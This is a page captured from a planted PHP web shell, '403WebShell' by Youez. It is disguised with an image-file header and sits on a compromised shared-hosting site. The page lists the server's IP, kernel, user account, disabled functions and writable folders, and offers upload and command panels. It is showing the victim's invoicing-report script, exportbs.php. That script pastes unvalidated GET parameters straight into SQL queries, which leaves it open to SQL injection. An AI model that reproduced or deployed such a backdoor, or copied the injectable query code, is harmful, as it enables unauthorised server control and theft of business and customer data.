���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/aakashsolution.in/public_html/reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/aakashsolution.in/public_html/reports/exportbs.php
<?php
include_once "../action/class.php";
$obj=new database();
$link=$obj->getDBConnect();
 $from=$_GET['from'];
 $to=$_GET['to'];

    /*$query="SELECT concat(t1.prefix,t1.invoice_no) as `Invoice No`,DATE_FORMAT(t1.date, '%d/%m/%Y')  as `Date`, t1.billing_mode as `Billing Mode`,t1.payment_mode as `Payment Mode`, 
  			t1.customer_name as `Customer Name`, t1.customer_mobile as `Customer Mobile`,t1.gst as `GSTIN`, t1.add_to as `Address`, round(sum(t2.taxable),2) as `Taxable Value`, 
			round(sum(t2.cvalue),2) as `CGST`, round(sum(t2.svalue),2) as `SGST`, round(sum(t2.ivalue),2) as `IGST`,  t1.transport as `Transport`, t1.roundoff as `Round Off`,  
			t1.total_amount as `Total Amount`, t1.paid as `Paid  Amount`, t1.dues as `Dues Amount`, DATE_FORMAT(t1.next_payment, '%d/%m/%Y') as `Next Payment` 
			FROM `invoice` t1, `sales` t2 WHERE (t1.date >= '$from' and t1.date <= '$to') and t1.shop='$shop' and t1.id=t2.invoice_id group by t2.invoice_id";
    */
if(isset($_GET['customer'])){
	$customer=$_GET['customer'];
	$query="SELECT DATE_FORMAT(t1.date, '%d/%m/%Y') as `Date`, t2.`name` as `customer`, round(t1.`amount`,2) as `paid`
			from cust_pay_details t1, customer t2 where t1.`customer_id`=t2.`id` and (t1.date >= '$from' and t1.date <= '$to')";
		//echo $query;
	$filename="Customer-Report";
	if($customer!=''){$query.=" and t1.`customer_id`='$customer'";}
}
else{
	$supplier=$_GET['supplier'];
	$query="SELECT DATE_FORMAT(t1.date, '%d/%m/%Y') as `Date`, t2.`name` as `customer`, round(t1.`amount`,2) as `paid`
			from sup_pay_details t1, supplier t2 where t1.`supplier_id`=t2.`id` and (t1.date >= '$from' and t1.date <= '$to')";
	$filename="Supplier-Report";
	if($supplier!=''){$query.=" and t1.`supplier_id`='$supplier'";}
}
$result=@mysqli_query($link,$query) or die("Couldn't execute query:<br>" . mysqli_error($link));  

$filename.=date('d-m-Y');
$file_ending = "xls";
//header info for browser
header("Content-Type: application/xls");    
header("Content-Disposition: attachment; filename=$filename.xls");  
header("Pragma: no-cache"); 
header("Expires: 0");
/*******Start of Formatting for Excel*******/   
//define separator (defines columns in excel & tabs in word)
$sep = "\t"; //tabbed character
//start of printing column names as names of MySQL fields
$fieldinfo=mysqli_fetch_fields($result);

  foreach ($fieldinfo as $val)
    {
    printf($val->name . "\t");
    }
//for ($i = 0; $i < mysqli_num_fields($result); $i++) {
//echo mysqli_fetch_fields($result,$i) . "\t";
//}
print("\n");    
//end of printing column names  
//start while loop to get data
    while($row = mysqli_fetch_row($result))
    {
        $schema_insert = "";
        for($j=0; $j<mysqli_num_fields($result);$j++)
        {
            if(!isset($row[$j]))
                $schema_insert .= "NULL".$sep;
            elseif ($row[$j] != "")
                $schema_insert .= "$row[$j]".$sep;
            else
                $schema_insert .= "".$sep;
        }
        $schema_insert = str_replace($sep."$", "", $schema_insert);
        $schema_insert = preg_replace("/\r\n|\n\r|\n|\r/", " ", $schema_insert);
        $schema_insert .= "\t";
        print(trim($schema_insert));
        print "\n";
    }   


?>

Youez - 2016 - github.com/yon3zu
LinuXploit